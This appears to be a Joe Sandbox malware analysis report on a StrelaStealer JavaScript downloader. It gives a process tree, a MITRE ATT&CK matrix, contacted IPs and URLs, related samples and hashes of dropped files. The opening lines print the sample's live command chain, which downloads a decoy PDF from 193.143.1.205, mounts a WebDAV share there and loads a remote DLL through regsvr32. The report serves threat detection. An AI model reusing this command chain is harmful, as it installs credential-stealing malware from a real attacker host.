Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2801910740378426994.js	8%	Virustotal		Browse
2801910740378426994.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/c:$	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tm	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/X	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.20	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/X	net.exe, 00000007.00000002.1497936411.0000017DEEF02000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1492263685.0000017DEEF02000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/c:$	net.exe, 00000007.00000002.1495205646.0000017DEEED0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2720111275.00000232DBA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1495747001.00000232DB890000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/P	net.exe, 00000007.00000002.1497936411.0000017DEEF02000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1492263685.0000017DEEF02000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1492263685.0000017DEEF02000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tm	net.exe, 00000007.00000002.1495205646.0000017DEEED0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589038
Start date and time:	2025-01-11 08:43:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2801910740378426994.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 52.6.155.20, 3.233.129.217, 3.219.243.226, 52.22.41.97, 23.209.209.135, 184.28.90.27, 199.232.210.172, 2.16.168.105, 2.16.168.107, 54.224.241.105, 20.12.23.50, 104.77.220.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:44:24	API Interceptor	24x Sleep call for process: powershell.exe modified
02:44:28	API Interceptor	1x Sleep call for process: net.exe modified
02:44:28	API Interceptor	2x Sleep call for process: svchost.exe modified
02:44:36	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.39
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	217.20.57.36
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
bg.microsoft.map.fastly.net	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	89131879533771361.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24283946104055016.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26680121751816526037.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82408542104643172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021766223588203
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAg:RJE+Lfki1GjHwU/+vVhWqpJ
MD5:	1D58E92B9E73D46C54ACBE8082B2F7C1
SHA1:	83C39C1A1D0E81B49EAF05FE855E9973265B72D2
SHA-256:	B98A1B31B8F24766B56FA134F624A8F7BD3F38A4E61EA6050B76F7A7202A5E21
SHA-512:	ADB557BDEA5537D50AC1C3E216EB5074B736A4220A52EC7B520DBAEA4F4133F07F474FA5FF6D7BCD7311E0E7EE7B77E8113722BD3265EF9D66E4441203A20E68
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa9d1d9b2, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433618453425783
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:LazaHvxXy2V2UR
MD5:	CE881310DC2D458DD054FD27626BBB3C
SHA1:	DB6C97F6AF2513FFF3AE33C4778E81EAF6D19A93
SHA-256:	8480E8A58F9C0ED1537E31163FE14C8EF45561FD7D377E4E9EFC50BD1E18CB8B
SHA-512:	D5E2CA73892AEFB413F4BA67854059485E6C49CA834FF2BB696F446C47293FB88800EEB47E0E1DE9C7258A2FF5EDAEF2B4F1517D180AA5FD44B6DB92152B4D0B
Malicious:	false
Preview:	...... ...............X\...;...{......................0.x...... ...{s..,...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................x..,...}....................u..,...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08158998648051097
Encrypted:	false
SSDEEP:	3:Qe6YePsuROn6l/nqlFcl1ZUllllUQ0LMOntillGBnX/l/Tj/k7/t:j6zPgn6l/qlFclQ/l6Q0rntG254
MD5:	7C82BC06E17C587466A1084A3DD32092
SHA1:	49104BB54DB80393D1BF71C662A0C7045CAB194E
SHA-256:	B7F9B9868F9BFCEB4C677B59E0F2A5BD9805362D46BD5C1AA1CA80C5AD11F00F
SHA-512:	91CCC61A44581A12A2108D35BCFE25317F178A5222F6C1147AEDBA6ECAC0BBAE8F75D10828DB59013C18ACB5D8347F479DFD033F8BEF72596EB1F994B2EC735D
Malicious:	false
Preview:	K..v.....................................;...{...,...}... ...{s.......... ...{s.. ...{s.P.... ...{s...................u..,...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.205254862964128
Encrypted:	false
SSDEEP:	6:iOWXOq2PCHhJ2nKuAl9OmbnIFUtsqmJZmwSqmDkwOCHhJ2nKuAl9OmbjLJ:7WevBHAahFUtsqQ/SqY56HAaSJ
MD5:	0E2ACBB1BC76803C9A6C565D24DA54F5
SHA1:	36DF754DC71A12159755828213E856963B2C58D7
SHA-256:	DDA43C4BFDB6D2672BC58EC52526BBF8608EFE86800E825A45EE22645410840C
SHA-512:	21EDBA7AD9DE2B509CF3F7AB1E2DB057F093303CD92BBB7F3597EA3B0D8C545BB65B1C0526BDE8806D3BF935DE10477F71FDE945AE28EE85B31B66E152DB1A3A
Malicious:	false
Preview:	2025/01/11-02:44:28.563 5e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:44:28.565 5e4 Recovering log #3.2025/01/11-02:44:28.565 5e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.205254862964128
Encrypted:	false
SSDEEP:	6:iOWXOq2PCHhJ2nKuAl9OmbnIFUtsqmJZmwSqmDkwOCHhJ2nKuAl9OmbjLJ:7WevBHAahFUtsqQ/SqY56HAaSJ
MD5:	0E2ACBB1BC76803C9A6C565D24DA54F5
SHA1:	36DF754DC71A12159755828213E856963B2C58D7
SHA-256:	DDA43C4BFDB6D2672BC58EC52526BBF8608EFE86800E825A45EE22645410840C
SHA-512:	21EDBA7AD9DE2B509CF3F7AB1E2DB057F093303CD92BBB7F3597EA3B0D8C545BB65B1C0526BDE8806D3BF935DE10477F71FDE945AE28EE85B31B66E152DB1A3A
Malicious:	false
Preview:	2025/01/11-02:44:28.563 5e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:44:28.565 5e4 Recovering log #3.2025/01/11-02:44:28.565 5e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.212164229555473
Encrypted:	false
SSDEEP:	6:iOWbOq2PCHhJ2nKuAl9Ombzo2jMGIFUtsn0ZZmwS3kwOCHhJ2nKuAl9Ombzo2jM4:7WCvBHAa8uFUts0Z/S356HAa8RJ
MD5:	57FF1CD1A158838B9DCF491DF12ED284
SHA1:	33C185397F49F4AD811A1C241E7952CD666F859D
SHA-256:	539B0647E8F127C6A501BDEC5BCB347383EBF7847ABA4DC549592355DF80BD49
SHA-512:	FBD4F74592A67392802FF7BB3727F58CBCCDED2B6D0B1E5B4D51624AC3CE04FA04D27D4CE2B33A5B872EB49110709444310C8CC80EDD956F3DAF9593F1BF7AE2
Malicious:	false
Preview:	2025/01/11-02:44:28.595 720 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:44:28.596 720 Recovering log #3.2025/01/11-02:44:28.597 720 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.212164229555473
Encrypted:	false
SSDEEP:	6:iOWbOq2PCHhJ2nKuAl9Ombzo2jMGIFUtsn0ZZmwS3kwOCHhJ2nKuAl9Ombzo2jM4:7WCvBHAa8uFUts0Z/S356HAa8RJ
MD5:	57FF1CD1A158838B9DCF491DF12ED284
SHA1:	33C185397F49F4AD811A1C241E7952CD666F859D
SHA-256:	539B0647E8F127C6A501BDEC5BCB347383EBF7847ABA4DC549592355DF80BD49
SHA-512:	FBD4F74592A67392802FF7BB3727F58CBCCDED2B6D0B1E5B4D51624AC3CE04FA04D27D4CE2B33A5B872EB49110709444310C8CC80EDD956F3DAF9593F1BF7AE2
Malicious:	false
Preview:	2025/01/11-02:44:28.595 720 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:44:28.596 720 Recovering log #3.2025/01/11-02:44:28.597 720 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9d8305ea-1f38-4632-b169-1eeeff3778a4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.960572042101188
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzhsBdOg2HLcaq3QYiub6P7E4T3y:Y2sRdskydMHy3QYhbS7nby
MD5:	C7D8282EDA7CB08FF463830B4E0C269B
SHA1:	0DB563C454258599951E943CCF8E0F3D4686143A
SHA-256:	6C5A45BC9867B86E0324F7EFC89466EA190C8C52DF1BB9C7C93BA186D28AF5F6
SHA-512:	1CD743063B90B91D24FBD4906002686338F72D8F4E504A4966AB6053714E8FD15DE15293E46D1F1DF78C9655BE04F8D26433ACEC0CB092A5A15061DD0442BA23
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141480102646","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123807},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.960572042101188
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzhsBdOg2HLcaq3QYiub6P7E4T3y:Y2sRdskydMHy3QYhbS7nby
MD5:	C7D8282EDA7CB08FF463830B4E0C269B
SHA1:	0DB563C454258599951E943CCF8E0F3D4686143A
SHA-256:	6C5A45BC9867B86E0324F7EFC89466EA190C8C52DF1BB9C7C93BA186D28AF5F6
SHA-512:	1CD743063B90B91D24FBD4906002686338F72D8F4E504A4966AB6053714E8FD15DE15293E46D1F1DF78C9655BE04F8D26433ACEC0CB092A5A15061DD0442BA23
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141480102646","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123807},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.240215700922524
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bi/lnSA:S43C4mS7fFi0KFYDjr3LWO3V3aw+bi/T
MD5:	2ED098A49B89BE73E68E1EEBFD81499F
SHA1:	903AA3726E7C1A84C813A5B49928E5F82A3B8562
SHA-256:	5BA8F08D0342BCDDF6CB90D8AD6AF3B7B37BBA95B750AD21A0FDE5E22F60808B
SHA-512:	B4A13D65A93ACEF63F4A44E5BEE7D55305C54E89B2640D0D8CE2D9E03963A3248C60486DD5A5F9DECD4E2FAB348E8E109B5784D0B885DCE41B4EEC34FCEEC251
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.187679340724191
Encrypted:	false
SSDEEP:	6:iOWeq2PCHhJ2nKuAl9OmbzNMxIFUts7kvZZmwSDkwOCHhJ2nKuAl9OmbzNMFLJ:7WevBHAa8jFUtsQh/SD56HAa84J
MD5:	A9D0194408163A40A3F6C946CB7FA3C9
SHA1:	F31D4B9519DE0CEA55CEBC1ECC39CE564C9636BB
SHA-256:	D8828E71926C5605904D67357B38ED2816ED5531F0D66FCD992D646346F64333
SHA-512:	07975E839C83DF76D1B123B743F90273548375A64707E483A1C35DD241A4657100AAF42DC6029736FD13F80107C8AB110D637E51A1068F544B1E92889DF4ED80
Malicious:	false
Preview:	2025/01/11-02:44:29.033 720 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:44:29.038 720 Recovering log #3.2025/01/11-02:44:29.039 720 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.187679340724191
Encrypted:	false
SSDEEP:	6:iOWeq2PCHhJ2nKuAl9OmbzNMxIFUts7kvZZmwSDkwOCHhJ2nKuAl9OmbzNMFLJ:7WevBHAa8jFUtsQh/SD56HAa84J
MD5:	A9D0194408163A40A3F6C946CB7FA3C9
SHA1:	F31D4B9519DE0CEA55CEBC1ECC39CE564C9636BB
SHA-256:	D8828E71926C5605904D67357B38ED2816ED5531F0D66FCD992D646346F64333
SHA-512:	07975E839C83DF76D1B123B743F90273548375A64707E483A1C35DD241A4657100AAF42DC6029736FD13F80107C8AB110D637E51A1068F544B1E92889DF4ED80
Malicious:	false
Preview:	2025/01/11-02:44:29.033 720 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:44:29.038 720 Recovering log #3.2025/01/11-02:44:29.039 720 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
